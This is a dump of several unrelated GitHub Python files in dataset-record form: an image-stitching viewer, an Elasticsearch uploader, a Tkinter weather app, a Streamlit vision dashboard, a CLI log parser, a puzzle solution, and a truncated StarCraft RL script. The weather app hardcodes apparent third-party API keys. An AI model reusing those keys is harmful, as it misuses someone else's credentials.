(:py:class:`~errors.Top40ReadTimeoutError`): If the remote server took too long to respond\n \"\"\"\n singles_chart = self.singles_chart\n return singles_chart.entries","repo_name":"DannyGoodall/codefurther","sub_path":"codefurther/top40/top40.py","file_name":"top40.py","file_ext":"py","file_size_in_byte":17583,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"32162728053","text":"import cv2 as cv\nfrom algo import gpu_get_padding_transform\nfrom map import Map\nfrom frame import Frame, GpuFrame\nimport threading\nimport numpy as np\nimport debug\n\n\nclass Viewer:\n def __init__(self):\n self.previwe_map = Map((500, 500, 3)) # 地图块选为500x500对应1080P的图像合并效率不错\n self.lock = threading.Lock()\n\n def add_frame(self, frame: Frame):\n raise NotImplementedError\n\n def add_gpu_frame(self, frame: GpuFrame):\n '''\n\n 由于图像投影(旋转+平移)后需要进行平移确保所有图像均在投影屏幕内,需要叠加一个move平移矩阵\n 则由frame叠加到map的完整公式为\n Y = move_inv * T * move * R * X\n '''\n self.lock.acquire()\n R, T = frame.get_R(), frame.get_T()\n img = frame.get_gpu_img()\n\n move, size = gpu_get_padding_transform(img, transform=R)\n warp_m = np.dot(move, R)\n warped = cv.cuda.warpAffine(img, warp_m[0:2, :], size)\n # warped = warped.download()\n\n move_inv = np.linalg.inv(move)\n warp_T = np.dot(move_inv, T)\n x, y = warp_T[0, 2], warp_T[1, 2]\n pos = (x, y)\n self.previwe_map.update(warped.download(), pos)\n self.previwe_map.update_gpu(warped, pos)\n self.lock.release()\n\n def do_view(self):\n debug.display('map', self.previwe_map.genMap(debug=True))\n","repo_name":"savent404/pysticher","sub_path":"viewer.py","file_name":"viewer.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"25805684976","text":"from elasticsearch import Elasticsearch\r\nimport doc_parsers\r\nimport requests\r\nimport os\r\n\r\n\r\ndef init_es(host=\"localhost\", port=9200, index=\"company_documents\"):\r\n es = Elasticsearch([{'host': host, 'port': port, 'scheme': \"http\"}])\r\n mapping = {\r\n \"mappings\": {\r\n \"title\": {\r\n \"type\": \"text\",\r\n \"fields\": {\r\n \"keyword\": {\r\n \"type\": \"keyword\",\r\n \"ignore_above\": 256\r\n }\r\n }\r\n },\r\n \"text\": {\r\n \"type\": \"text\",\r\n \"fields\": {\r\n \"keyword\": {\r\n \"type\": \"keyword\",\r\n \"ignore_above\": 256\r\n }\r\n }\r\n },\r\n \"key_words\": {\r\n \"type\": \"keyword\"\r\n },\r\n }\r\n }\r\n es.indices.create(index=index, body=mapping, ignore=400)\r\n return es\r\n\r\n\r\ndef post_elastic(data, doc_name=\"default_name\", url=\"http://localhost:9200\", index_name=\"company_documents\"):\r\n if type(data) is not dict:\r\n return \"BAD WAY\"\r\n response = requests.put(f\"{url}/{index_name}/_doc/{doc_name}?pretty\", json=data)\r\n return response.json()\r\n\r\n\r\ndef push_data(file_absolute_path: str, **kwargs):\r\n \"\"\"func take an absolute_path, parse file and push to elastic. Or return a message. Not threw an exception\"\"\"\r\n doc_name = file_absolute_path.split(\"\\\\\")[-1].split(\".\")[0]\r\n if file_absolute_path[-5:] == \".json\":\r\n data = doc_parsers.parse_json(file_absolute_path)\r\n elif file_absolute_path[-4:] == \".txt\":\r\n data = doc_parsers.parse_txt(file_absolute_path)\r\n elif file_absolute_path[-4:] == \".pdf\":\r\n data = doc_parsers.parse_pdf(file_absolute_path)\r\n else:\r\n return f\"UNACCEPTABLE!!! for {file_absolute_path}\"\r\n data.update(kwargs)\r\n return post_elastic(data, doc_name=doc_name)\r\n\r\n\r\ndef push_data_from_folder(folder_path: str) -> list:\r\n \"\"\"for each document in folder\"\"\"\r\n docs_list = os.listdir(folder_path)\r\n res = []\r\n try:\r\n for file_name in docs_list:\r\n res.append(push_data(os.path.join(folder_path, file_name)))\r\n except EOFError as e:\r\n res.append(e.__str__() + \" for \" + folder_path)\r\n return res\r\n","repo_name":"Danilli/Semantic-Search-Diploma","sub_path":"elastic_work/push_data_into.py","file_name":"push_data_into.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21724928073","text":"import tkinter as tk\nimport requests\nimport time\nimport random\n\ndef getWeather(canvas):\n city = textField.get()\n api = \"https://api.openweathermap.org/data/2.5/weather?q=\"+city+\"&appid=06c921750b9a82d8f5d1294e1586276f\"\n api1 = \"https://api.ambeedata.com/latest/by-city?city=\"+city+\"&x-api-key=13d68e42ce7c19f2e2ff4792c51c2f40b0239084d0396609ccdee1f20d259427\"\n json_data1=requests.get(api1).json()\n json_data = requests.get(api).json()\n condition = json_data['weather'][0]['main']\n temp = int(json_data['main']['temp'] - 273.15)\n min_temp = int(json_data['main']['temp_min'] - 273.15)\n max_temp = int(json_data['main']['temp_max'] - 273.15)\n pressure = json_data['main']['pressure']\n humidity = json_data['main']['humidity']\n wind = json_data['wind']['speed']\n sunrise = time.strftime('%I:%M:%S', time.gmtime(json_data['sys']['sunrise'] - 21600))\n sunset = time.strftime('%I:%M:%S', time.gmtime(json_data['sys']['sunset'] - 21600))\n # soid_status=json_data1['stations']['aqiInfo']['pollutant']\n soil_status = json_data1['stations'][0]['aqiInfo']['category']\n soil_CO = json_data1['stations'][0]['aqiInfo']['pollutant']\n soil_CO1 = json_data1['stations'][0]['aqiInfo']['concentration']\n final_info = condition + \"\\n\" + str(temp) + \"°C\" \n final_data = \"\\n\"+ \"Min Temp: \" + str(min_temp) + \"°C\" + \"\\n\" + \"Max Temp: \" + str(max_temp) + \"°C\" +\"\\n\" + \"Pressure: \" + str(pressure) + \"\\n\" +\"Humidity: \" + str(humidity) + \"\\n\" +\"Wind Speed: \" + str(wind) + \"\\n\" + \"Sunrise: \" + sunrise + \"\\n\" + \"Sunset: \" + sunset + \"\\n\" + \"soil catagory:\" + str(soil_status) + \"\\n\" + \"soil pollutant:\" + str(soil_CO) + \"\\n\" + \"soil concentration:\" + str(soil_CO1)\n label1.config(text = final_info)\n label2.config(text = final_data)\nmycolor = '#%02x%02x%02x' % (225, 225, 0) # set your favourite rgb color\nmycolor2 = '#40E0D0' # or use hex if you prefer\ncanvas = tk.Tk()\ncanvas.configure(bg=mycolor)\ncanvas.geometry(\"600x500\")\ncanvas.title(\"Weather App\")\nf = (\"poppins\", 15, \"bold\")\nt = (\"poppins\", 35, \"bold\")\n\ntextField = tk.Entry(canvas, justify='center', width = 20, font = t)\ntextField.pack(pady = 20)\ntextField.focus()\ntextField.bind('', getWeather)\n\nlabel1 = tk.Label(canvas, font=t)\nlabel1.pack()\nlabel2 = tk.Label(canvas, font=f)\nlabel2.pack()\ncanvas.mainloop()","repo_name":"iamShreerang/Agri_Weather_Application","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10822971510","text":"import streamlit as st\nimport youtube_dl\nimport urllib\nimport pandas as pd\nimport os\nimport plotly.express as px\nfrom collections import Counter\nfrom plotly.subplots import make_subplots\nimport plotly.graph_objects as go\nimport logging\n\n\n# ----------------------------------------------------------------#\n# Classes\n# ----------------------------------------------------------------#\n\n\nclass GUI:\n \"\"\"\n This class is dedicated to manage to user interface of the website. It contains methods to edit the sidebar for the selected application as well as the front page.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Initialization function\n \"\"\"\n self.list_of_apps = [\n \"Empty\",\n \"Face Mask Detection\",\n \"Face Detection with Blurring\",\n \"Face Detection\",\n \"Object Detection\",\n \"Fire Detection\",\n \"Heatmap Motion\",\n ]\n\n self.guiParam = {}\n\n # ----------------------------------------------------------------\n\n def getGuiParameters(self):\n \"\"\"A function that allow to get the Graphical User interface configuration parameters\n\n Returns:\n guiParam: A dictionary that contains configuration parameter from the sidebar\n \"\"\"\n self.common_config()\n self.appDescription()\n guiParam = self.guiParam\n\n return guiParam\n\n # ----------------------------------------------------------------\n\n def common_config(self, title=\"🚀 Computer Vision Dashboard 🚀\"):\n \"\"\"This function returns the configuration parameter from User Interface's Sidebar\n\n Args:\n title (str, optional): This is the title displayed on the dashboard. Defaults to \"Computer Vision Dashboard 🚀\".\n \"\"\"\n\n # Insert a main title to the Dashboard\n st.title(title)\n\n # Insert a title of the sidebar\n st.sidebar.title(\"Configuration\")\n\n # Get the application type from the GUI\n self.appType = st.sidebar.radio(\n \"Select an Application\", [\"Image Application\", \"Video Application\"]\n )\n\n self.dataSource = st.sidebar.radio(\n \"Load data from\", [\"Database\", \"URL\", \"Upload\"]\n )\n\n if self.appType == \"Video Application\":\n self.recordOutputVideo = st.sidebar.checkbox(\n \"Record Video with Overlay\", value=True\n )\n\n self.frameFreq = st.sidebar.slider(\n \"Frame Frequency\", value=15, min_value=1, max_value=60, step=1\n )\n\n self.frameMax = st.sidebar.slider(\n \"Frames to process\",\n value=100,\n min_value=self.frameFreq,\n max_value=500,\n step=1,\n )\n\n elif self.appType == \"Image Application\":\n self.recordOutputVideo = False\n self.frameMax = 1\n self.frameFreq = 1\n\n # Get the selectedApp from the GUI\n self.selectedApp = st.sidebar.selectbox(\n \"Apply a Computer Vision Model\", self.list_of_apps\n )\n\n if self.selectedApp == \"Empty\":\n st.sidebar.warning(\"Please select an application from the list\")\n\n # Update the guiParam dictionary\n self.guiParam.update(\n dict(\n selectedApp=self.selectedApp,\n appType=self.appType,\n dataSource=self.dataSource,\n recordOutputVideo=self.recordOutputVideo,\n frameMax=self.frameMax,\n frameFreq=self.frameFreq,\n )\n )\n\n # --------------------------------------------------------------------------\n\n def appDescription(self):\n\n st.header(\"{}\".format(self.selectedApp))\n\n if self.selectedApp == \"Object Detection\":\n st.info(\n \"This application performs object detection using advanced deep learning models. It can detects more than 80 objects (see the full list in COCO dataset).\"\n )\n self.sidebarObjectDetection()\n\n elif self.selectedApp == \"Face Detection\":\n st.info(\n \"This application performs face detection using advanced deep learning models. It can detects faces in images/videos.\"\n )\n self.sidebarFaceDetection()\n\n elif self.selectedApp == \"Face Detection with Blurring\":\n st.info(\n \"This application performs face detection using advanced deep learning models. It can detects faces in image/videos. In addition, to preserve privacy, it blurs the detected faces to anonymize.\"\n )\n self.sidebarFaceDetectionWithBlur()\n\n elif self.selectedApp == \"Fire Detection\":\n st.info(\n \"This application performs fire detection using advanced deep learning models.\"\n )\n self.sidebarFireDetection()\n\n elif self.selectedApp == \"Face Mask Detection\":\n st.info(\"This application performs Face Mask Detection\")\n self.sidebarFaceMaskDetection()\n\n elif self.selectedApp == \"Heatmap Motion\":\n st.info(\n \"This application performs heatmap motion. It detect part of the video where there a concentrated movement.\"\n )\n self.sidebarHeatmapMotion()\n\n else:\n st.info(\n \"To run the computer vision dashboard you must first select an Application from the sidebar menu (other than Empty)\"\n )\n\n # --------------------------------------------------------------------------\n def sidebarEmpty(self):\n pass\n\n # --------------------------------------------------------------------------\n\n def sidebarHeatmapMotion(self):\n\n pass\n\n # --------------------------------------------------------------------------\n\n def sidebarFaceDetection(self):\n \"\"\"\n This function update the dictionary guiParam (from the self class) with parameters of FaceDetection App\n \"\"\"\n\n model = st.sidebar.selectbox(\n label=\"Select available model\", options=([\"MobileNetSSD\"])\n )\n\n confThresh = st.sidebar.slider(\n \"Confidence\", value=0.60, min_value=0.0, max_value=1.00, step=0.05\n )\n\n self.guiParam.update(dict(confThresh=confThresh, model=model))\n\n # --------------------------------------------------------------------------\n\n def sidebarFaceDetectionWithBlur(self):\n \"\"\"\n This function update the dictionary guiParam (from the self class) with parameters of FaceDetectionWithBlurring App\n \"\"\"\n\n model = st.sidebar.selectbox(\n label=\"Select available model\", options=([\"MobileNetSSD\"])\n )\n\n confThresh = st.sidebar.slider(\n \"Confidence\", value=0.60, min_value=0.0, max_value=1.00, step=0.05\n )\n self.guiParam.update(dict(confThresh=confThresh, model=model))\n\n # --------------------------------------------------------------------------\n\n def sidebarFaceMaskDetection(self):\n \"\"\"\n This function update the dictionary guiParam (from the self class) with parameters of FaceMaskDetection App\n \"\"\"\n\n model = st.sidebar.selectbox(\n label=\"Select available model\", options=([\"MobileNetSSD\"])\n )\n\n confThresh = st.sidebar.slider(\n \"Confidence\", value=0.60, min_value=0.0, max_value=1.00, step=0.05\n )\n\n self.guiParam.update(dict(confThresh=confThresh, model=model))\n\n # --------------------------------------------------------------------------\n\n def sidebarObjectDetection(self):\n \"\"\"\n This function update the dictionary guiParam (from the self class) with parameters of FaceDetection App\n \"\"\"\n\n model = st.sidebar.selectbox(\n label=\"Select available model\",\n options=[\"Caffe-MobileNetSSD\", \"Darknet-YOLOv3-tiny\", \"Darknet-YOLOv3\"],\n )\n\n st.sidebar.markdown(\"### Object Filtering\")\n # ------------------------------------------------------#\n allowedLabel = st.sidebar.multiselect(\n label=\"What object would like to detect?\",\n options=(\"person\", \"car\", \"bicycle\", \"dog\", \"cell phone\", \"plane\", \"fire\"),\n )\n\n allowedLabel = [\"all\"] if len(allowedLabel) == 0 else allowedLabel\n\n confThresh = st.sidebar.slider(\n \"Confidence\", value=0.6, min_value=0.0, max_value=1.0\n )\n nmsThresh = st.sidebar.slider(\n \"Non-maximum suppression\",\n value=0.30,\n min_value=0.0,\n max_value=1.00,\n step=0.05,\n )\n\n self.guiParam.update(\n dict(\n confThresh=confThresh,\n nmsThresh=nmsThresh,\n model=model,\n allowedLabel=allowedLabel,\n )\n )\n\n # --------------------------------------------------------------------------\n\n def sidebarFireDetection(self):\n \"\"\"\n This function update the dictionary guiParam (from the self class) with parameters of FireDetection App\n \"\"\"\n model = st.sidebar.selectbox(\n label=\"Select available model\", options=[\"Darknet-YOLOv3-tiny\"]\n )\n\n confThresh = st.sidebar.slider(\n \"Confidence\", value=0.6, min_value=0.0, max_value=1.0\n )\n nmsThresh = st.sidebar.slider(\n \"Non-maximum suppression\",\n value=0.30,\n min_value=0.0,\n max_value=1.00,\n step=0.05,\n )\n\n self.guiParam.update(\n dict(confThresh=confThresh, nmsThresh=nmsThresh, model=model)\n )\n\n # --------------------------------------------------------------------------\n\n def sidebarCarsCounting(self):\n \"\"\"\n This function update the dictionary guiParam (from the self class) with parameters of CarCounting App\n \"\"\"\n\n model = st.sidebar.selectbox(\n label=\"Select available model\", options=(\"Model 1\", \"Model 2\", \"Model 3\")\n )\n\n self.guiParam.update(dict(model=model))\n\n\nclass DataManager:\n def __init__(self, guiParam):\n self.guiParam = guiParam\n\n self.url_demo_videos = {\n \"Driving car in a city\": \"https://www.youtube.com/watch?v=7BjNbkONCFw\",\n \"A Sample Video with Faces\": \"https://www.youtube.com/watch?v=ohmajJTcpNk\",\n }\n\n self.url_demo_images = {\n \"image NY-City\": \"https://s4.thingpic.com/images/8a/Qcc4eLESvtjiGswmQRQ8ynCM.jpeg\",\n \"image Paris-street\": \"https://www.discoverwalks.com/blog/wp-content/uploads/2018/08/best-streets-in-paris.jpg\",\n \"image people\": \"https://www.rembrandtmall.co.za/wp-content/uploads/2019/05/people-1.jpg\",\n }\n\n self.demo_video_examples = {\n \"video Street-CCTV\": guiParam[\"path_database\"] + \"object.mp4\",\n \"video Showroom\": guiParam[\"path_database\"] + \"showroom.mov\",\n }\n self.demo_image_examples = {\n \"image COVID-19 Mask\": guiParam[\"path_database\"] + \"face_mask.jpeg\",\n \"image Family-picture\": guiParam[\"path_database\"] + \"family.jpg\",\n \"image Dog\": guiParam[\"path_database\"] + \"dog.jpg\",\n \"image Crosswalk\": guiParam[\"path_database\"] + \"demo.jpg\",\n \"image Car on fire\": guiParam[\"path_database\"] + \"car_on_fire.jpg\",\n }\n\n self.image = None\n self.image_byte = None\n\n self.video = None\n self.video_byte = None\n self.data = None\n self.data_byte = None\n\n # --------------------------------------------------------#\n\n def get_video_path(self):\n\n if self.guiParam[\"dataSource\"] == \"Upload\":\n filelike = st.file_uploader(\n \"Upload a video (200 Mo maximum) ...\", type=[\"mp4\", \"mpeg\", \"avi\"]\n )\n\n video_path = \"database/uploaded_video.png\"\n\n if filelike:\n with open(video_path, \"wb\") as f:\n f.write(filelike.read())\n return video_path\n else:\n return None\n\n # ------------------------------------------------------#\n\n elif self.guiParam[\"dataSource\"] == \"Database\":\n\n video_path = st.text_input(\"Enter PATH of the video\")\n\n if os.path.isfile(video_path):\n return video_path\n\n else:\n video_path_idx = st.selectbox(\n \"Or select a demo video from the list\",\n list(self.demo_video_examples.keys()),\n )\n video_path = self.demo_video_examples[video_path_idx]\n return video_path\n\n # ------------------------------------------------------#\n\n elif self.guiParam[\"dataSource\"] == \"URL\":\n\n video_url = st.text_input(\"Enter URL of the video\")\n video_path = \"database/downloaded_video.mp4\"\n\n if video_url != \"\":\n isinstance(video_url, str)\n logging.info(\"Downloading \", video_url)\n ydl_opts = dict(format=\"bestvideo[height<=480]\", outtmpl=video_path)\n with youtube_dl.YoutubeDL(ydl_opts) as ydl:\n ydl.download([video_url])\n return video_path\n\n else:\n st.info(\n \"Here are some video samples\"\n + \"\\n Driving car in a city: https://www.youtube.com/watch?v=7BjNbkONCFw \\\n \\n A Sample Video with Faces: https://www.youtube.com/watch?v=ohmajJTcpNk\"\n )\n video_url = \"https://www.youtube.com/watch?v=7BjNbkONCFw\"\n\n # ------------------------------------------------------#\n\n else:\n raise ValueError(\"Please select a 'Data Source' from the list\")\n\n def get_image_path(self):\n # --------------------------------------------#\n if self.guiParam[\"dataSource\"] == \"Database\":\n image_path = st.text_input(\"Enter the image PATH (for local deployment)\")\n\n if image_path == \"\":\n image_path_idx = st.selectbox(\n \"Or select a demo image from the list\",\n list(self.demo_image_examples.keys()),\n )\n image_path = self.demo_image_examples[image_path_idx]\n return image_path\n\n # --------------------------------------------#\n\n elif self.guiParam[\"dataSource\"] == \"Upload\":\n filelike = st.file_uploader(\"Upload an image\", type=[\"png\", \"jpg\"])\n image_path = \"database/uploaded_image.png\"\n\n if filelike != None:\n with open(image_path, \"wb\") as f:\n f.write(filelike.read())\n return image_path\n else:\n raise ValueError(\"Please Upload an image first\")\n\n # --------------------------------------------#\n\n elif self.guiParam[\"dataSource\"] == \"URL\":\n url_image = st.text_input(\"Enter the image URL\")\n image_path = \"database/downloaded_image.png\"\n\n if url_image != \"\":\n with open(image_path, \"wb\") as f:\n f.write(urllib.request.urlopen(url_image).read())\n return image_path\n else:\n url_image_idx = st.selectbox(\n \"Or select a URL from the list\", list(self.url_demo_images.keys())\n )\n url_image = self.url_demo_images[url_image_idx]\n with open(image_path, \"wb\") as f:\n f.write(urllib.request.urlopen(url_image).read())\n return image_path\n\n# ----------------------------------------------------------------#\n# Python functions\n# ----------------------------------------------------------------#\n\n\ndef postprocessing_object_detection_df(df_silver):\n \"\"\"_summary_\n\n Args:\n df_silver (DataFrame): _description_\n\n Returns:\n _type_: _description_\n \"\"\"\n\n df_gold = df_silver.copy()\n\n # Unwrap bounding boxes (bboxes)\n df_gold[\"bboxes\"] = df_gold[\"bboxes\"].apply(pd.eval)\n df_gold[\"confidences\"] = df_gold[\"confidences\"].apply(pd.eval)\n df_gold[\"predClasses\"] = df_gold[\"predClasses\"].apply(pd.eval)\n\n if \"predClasses\" in df_gold.columns:\n df_gold.loc[:, \"counting_obj\"] = df_gold[\"predClasses\"].apply(Counter).values\n df_gold.loc[:, \"object_class\"] = (\n df_gold.loc[:, \"counting_obj\"].apply(lambda x: list(x.keys())).values\n )\n df_gold.loc[:, \"object_count\"] = (\n df_gold.loc[:, \"counting_obj\"].apply(lambda x: list(x.values())).values\n )\n df_gold = df_gold.join(pd.DataFrame(df_gold[\"counting_obj\"].to_dict()).T)\n return df_gold\n\n\ndef plot_analytics(df_gold):\n \"\"\"This function allow display analytics that were gathered after applying a deep learning model\n\n Args:\n df_gold (DataFrame): This is a pandas dataframe that contains extracted analytics\n df_classes (DataFrame): _description_\n \"\"\"\n\n df_classes = pd.DataFrame(df_gold[\"counting_obj\"].to_dict()).T\n\n if len(df_classes.columns) > 0:\n\n st.markdown(\"## Global Analytics\")\n fig = make_subplots(\n rows=1,\n cols=2,\n specs=[[{\"type\": \"bar\"}, {\"type\": \"pie\"}]],\n )\n\n # Add a bar chart\n fig.add_trace(go.Bar(x=df_classes.columns, y=df_classes.sum()), row=1, col=1)\n \n # Add Pie chart\n fig.add_trace(\n go.Pie(\n values=df_classes.sum(),\n labels=df_classes.columns,\n ),\n row=1,\n col=2,\n )\n\n fig.update_layout(\n height=400,\n width=900,\n title_text=\"Detected Objects from the Video\",\n yaxis=dict(title_text=\"# of Detection\"),\n xaxis=dict(title_text=\"Detected Objects\"),\n )\n fig.update_xaxes(showgrid=False)\n fig.update_yaxes(showgrid=False)\n\n st.plotly_chart(fig)\n\n\n\n # Plot total detection per frame\n fig = px.scatter(x=df_gold[\"frameIdx\"], y=df_gold[\"total_object\"])\n fig.update_layout(height=500, width=900, title_text=\"Total Detection per frame\")\n fig.update_xaxes(showgrid=False)\n fig.update_yaxes(showgrid=False)\n st.plotly_chart(fig)\n\n # Add a subplot per type of object\n fig = make_subplots(\n rows=len(df_classes.columns),\n cols=1,\n shared_xaxes=True,\n subplot_titles=list(df_classes.columns),\n )\n for idx, feat in enumerate(df_classes.columns):\n fig.add_trace(\n go.Scatter(\n x=df_gold[\"frameIdx\"],\n y=df_gold[feat],\n mode=\"markers\",\n name=feat,\n ),\n row=idx + 1,\n col=1,\n )\n tmp = (len(df_classes.columns)) * 300\n fig.update_layout(height=tmp, width=900, title_text=\"Objects Filtering\")\n fig.update_xaxes(showgrid=False)\n fig.update_yaxes(showgrid=False)\n\n st.plotly_chart(fig)\n\n st.markdown(\"## Motion Analysis\")\n # ----------------------------------------------------------------#\n\n fig = make_subplots(rows=1, cols=1, shared_xaxes=True, vertical_spacing=0.02)\n fig.add_trace(\n go.Scatter(x=df_gold[\"processed_on\"], y=df_gold[\"motion_status\"], mode=\"lines\"),\n row=1,\n col=1,\n )\n\n fig.update_layout(\n height=500,\n width=900,\n title_text=\"Detected Motion in the Video\",\n yaxis=dict(title_text=\"Motion Status\"),\n xaxis=dict(title_text=\"Timestamp\"),\n )\n fig.update_xaxes(showgrid=False)\n fig.update_yaxes(showgrid=False)\n st.plotly_chart(fig)\n","repo_name":"amineHY/computervision-dashboard","sub_path":"src/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":19903,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"50"} +{"seq_id":"28402086425","text":"from commands import Log \nfrom .parser import subparsers\n\nimport os\nfrom argparse import Namespace\n\ndef log_router(args: Namespace):\n \"\"\"Handler for log parser\"\"\"\n\n log = Log(os.getcwd())\n if args.print_all:\n log.get_all_commits(bool(args.verbose))\n return\n log.get_commit_info(args.commit) if args.commit else log.get_commit_info()\n\n# Log parser\nlog_parser = subparsers.add_parser('log', help='Command to print info about commits')\nlog_parser.add_argument(\n '-a', '--all',\n dest='print_all',\n action='store_true',\n help='print all commits'\n)\nlog_parser.add_argument(\n '-v', '--verbose',\n dest='verbose',\n action='store_true',\n help='verbose mode'\n)\nlog_parser.add_argument(\n '-c', '--commit',\n dest='commit',\n action='store_true',\n help='get commit info by hash'\n)\nlog_parser.set_defaults(func=log_router)\n","repo_name":"Konstantin-create/VCS","sub_path":"src/parsers/log_parser.py","file_name":"log_parser.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"50"} +{"seq_id":"71555046555","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Sep 21 11:15:37 2023\r\n\r\n@author: Claudio\r\n\"\"\"\r\n\r\n# Enter your code here. Read input from STDIN. Print output to STDOUT\r\ninp = input()\r\nsize = inp.split(\" \")\r\nheight = int(size[0])\r\nwidth = int(size[1])\r\nmat = []\r\ndash = '-'\r\ncombo = \".|.\" \r\n\r\ndef create_line(width, level):\r\n pattern = []\r\n combo = []\r\n for i in range(level+level-1):\r\n combo.append(\".|.\")\r\n new_combo=\"\".join(map(str, combo))\r\n pattern.append(new_combo)\r\n\r\n for i in range((width-(level+level-1)*3)//2):\r\n pattern.append(\"-\")\r\n pattern.insert(0,\"-\")\r\n pattern = \"\".join(map(str, pattern))\r\n return pattern\r\ndef welcome(height):\r\n pattern=[]\r\n for i in range(height*3):\r\n if i == ((height*3)-7)//2:\r\n pattern.append(\"WELCOME\")\r\n \r\n else:\r\n pattern.append(\"-\")\r\n \r\n \r\n pattern=pattern[:height*3-6]\r\n pattern= \"\".join(map(str,pattern))\r\n return pattern\r\ndef create(height, width):\r\n for i in range((height)//2):\r\n level = i+1\r\n mat.append(create_line(width, level))\r\n mat.append(\"\\n\")\r\n mat.append(welcome(height))\r\n mat.append(\"\\n\")\r\n for i in range((height)//2):\r\n level = height//2-i\r\n mat.append(create_line(width,level))\r\n mat.append(\"\\n\")\r\n \r\n\r\n \r\ncreate(height,width) \r\nmat.pop()\r\nmat = \"\".join(map(str,mat))\r\nprint(mat)\r\n","repo_name":"erclaudio/Hackerrank-Problems","sub_path":"DesignerMat/DesignerMat.py","file_name":"DesignerMat.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"8347372465","text":"import pandas as pd\n\nfrom smac_rev import StarCraft2Env\nfrom GDN import Agent\nimport torch\nfrom pysc2.lib.remote_controller import ConnectError, RequestError\nfrom pysc2.lib.protocol import ProtocolError\nfrom functools import partial\nimport numpy as np\nimport sys\nimport os\nimport time\n\n\n\n\nregularizer = 0.0\nmap_name1 = '6h_vs_8z'\n\nGNN = 'FastGTN'\nheterogenous = False\n\n\"\"\"\nProtoss\ncolossi : 200.0150.01.0\nstalkers : 80.080.00.625\nzealots : 100.050.00.5\n\nTerran\nmedivacs : 150.00.00.75\nmarauders : 125.00.00.5625\nmarines : 45.00.00.375\n\nZerg\nzergling : 35.00.00.375\nhydralisk : 80.00.00.625\nbaneling : 30.00.00.375\nspine crawler : 300.00.01.125`\n\"\"\"\n\ndef evaluation(env, agent, num_eval):\n max_episode_len = env.episode_limit\n t = 0\n win_rates = 0\n for e in range(num_eval):\n env.reset()\n done = False\n episode_reward = 0\n step = 0\n while (not done) and (step < max_episode_len):\n step += 1\n\n node_feature, edge_index_enemy, edge_index_ally, n_node_features = env.get_heterogeneous_graph(heterogeneous = heterogenous)\n\n node_representation = agent.get_node_representation(node_feature, edge_index_enemy, edge_index_ally,\n n_node_features,\n mini_batch=False) # 차원 : n_agents X n_representation_comm\n avail_action = env.get_avail_actions()\n action_feature = env.get_action_feature() # 차원 : action_size X n_action_feature\n\n action = agent.sample_action(node_representation, action_feature, avail_action, epsilon=0)\n reward, done, info = env.step(action)\n win_tag = True if done and 'battle_won' in info and info['battle_won'] else False\n episode_reward += reward\n t += 1\n print(\"map name {} : Evaluation episode {}, episode reward {}, win_tag {}\".format(env.map_name, e, episode_reward, win_tag))\n if win_tag == True:\n win_rates += 1 / num_eval\n print(\"map name : \", env.map_name, \"승률\", win_rates)\n return win_rates\n\n\ndef get_agent_type_of_envs(envs):\n agent_type_ids = list()\n type_alliance = list()\n for env in envs:\n for agent_id, _ in env.agents.items():\n agent = env.get_unit_by_id(agent_id)\n agent_type_ids.append(str(agent.health_max)+str(agent.shield_max)+str(agent.radius))\n type_alliance.append([str(agent.health_max)+str(agent.shield_max)+str(agent.radius), agent.alliance])\n for e_id, e_unit in env.enemies.items():\n enemy = list(env.enemies.items())[e_id][1]\n agent_type_ids.append(str(enemy.health_max)+str(enemy.shield_max)+str(enemy.radius))\n type_alliance.append([str(enemy.health_max)+str(enemy.shield_max)+str(enemy.radius), enemy.alliance])\n agent_types_list = list(set(agent_type_ids))\n type_alliance_set = list()\n for x in type_alliance:\n if x not in type_alliance_set:\n type_alliance_set.append(x)\n print(type_alliance_set)\n for id in agent_types_list:\n print(\"id : \", id, \"count : \" , agent_type_ids.count(id))\n\n return len(agent_types_list), agent_types_list\n\n\n\ndef train(agent, env, e, t, train_start, epsilon, min_epsilon, anneal_epsilon, initializer):\n max_episode_limit = env.episode_limit\n if initializer == False:\n env.reset()\n done = False\n episode_reward = 0\n step = 0\n losses = []\n epi_r = list()\n eval = False\n start = time.time()\n while (not done) and (step < max_episode_limit):\n \"\"\"\n Note: edge index 추출에 세가지 방법\n 1. enemy_visibility에 대한 adjacency matrix 추출(self loop 포함) / 아군 유닛의 시야로부터 적에 대한 visibility relation\n 2. ally_communication에 대한에 대한 adjacency matrix 추출 / 아군 유닛의 시야로부터 적에 대한 visibility\n \"\"\"\n node_feature, edge_index_enemy, edge_index_ally, n_node_features = env.get_heterogeneous_graph(heterogeneous=heterogenous)\n\n if GNN == 'GAT':\n node_representation = agent.get_node_representation(node_feature,\n edge_index_enemy,\n edge_index_ally,\n n_node_features,\n mini_batch=False) # 차원 : n_agents X n_representation_comm\n if GNN == 'FastGTN':\n node_representation = agent.get_node_representation(node_feature,\n edge_index_enemy,\n edge_index_ally,\n n_node_features,\n mini_batch=False) # 차원 : n_agents X n_representation_comm\n\n\n avail_action = env.get_avail_actions()\n action_feature = env.get_action_feature() # 차원 : action_size X n_action_feature\n\n\n action = agent.sample_action(node_representation, action_feature, avail_action, epsilon)\n\n reward, done, info = env.step(action)\n agent.buffer.memory(node_feature, action, action_feature, edge_index_enemy, edge_index_ally, reward,\n done, avail_action)\n\n\n episode_reward += reward\n t += 1\n step += 1\n if (t % 5000 == 0) and (t >0):\n eval = True\n\n if e >= train_start:\n loss = agent.learn(regularizer)\n losses.append(loss.detach().item())\n if epsilon >= min_epsilon:\n epsilon = epsilon - anneal_epsilon\n else:\n epsilon = min_epsilon\n\n\n if e >= train_start:\n\n print(\"{} Total 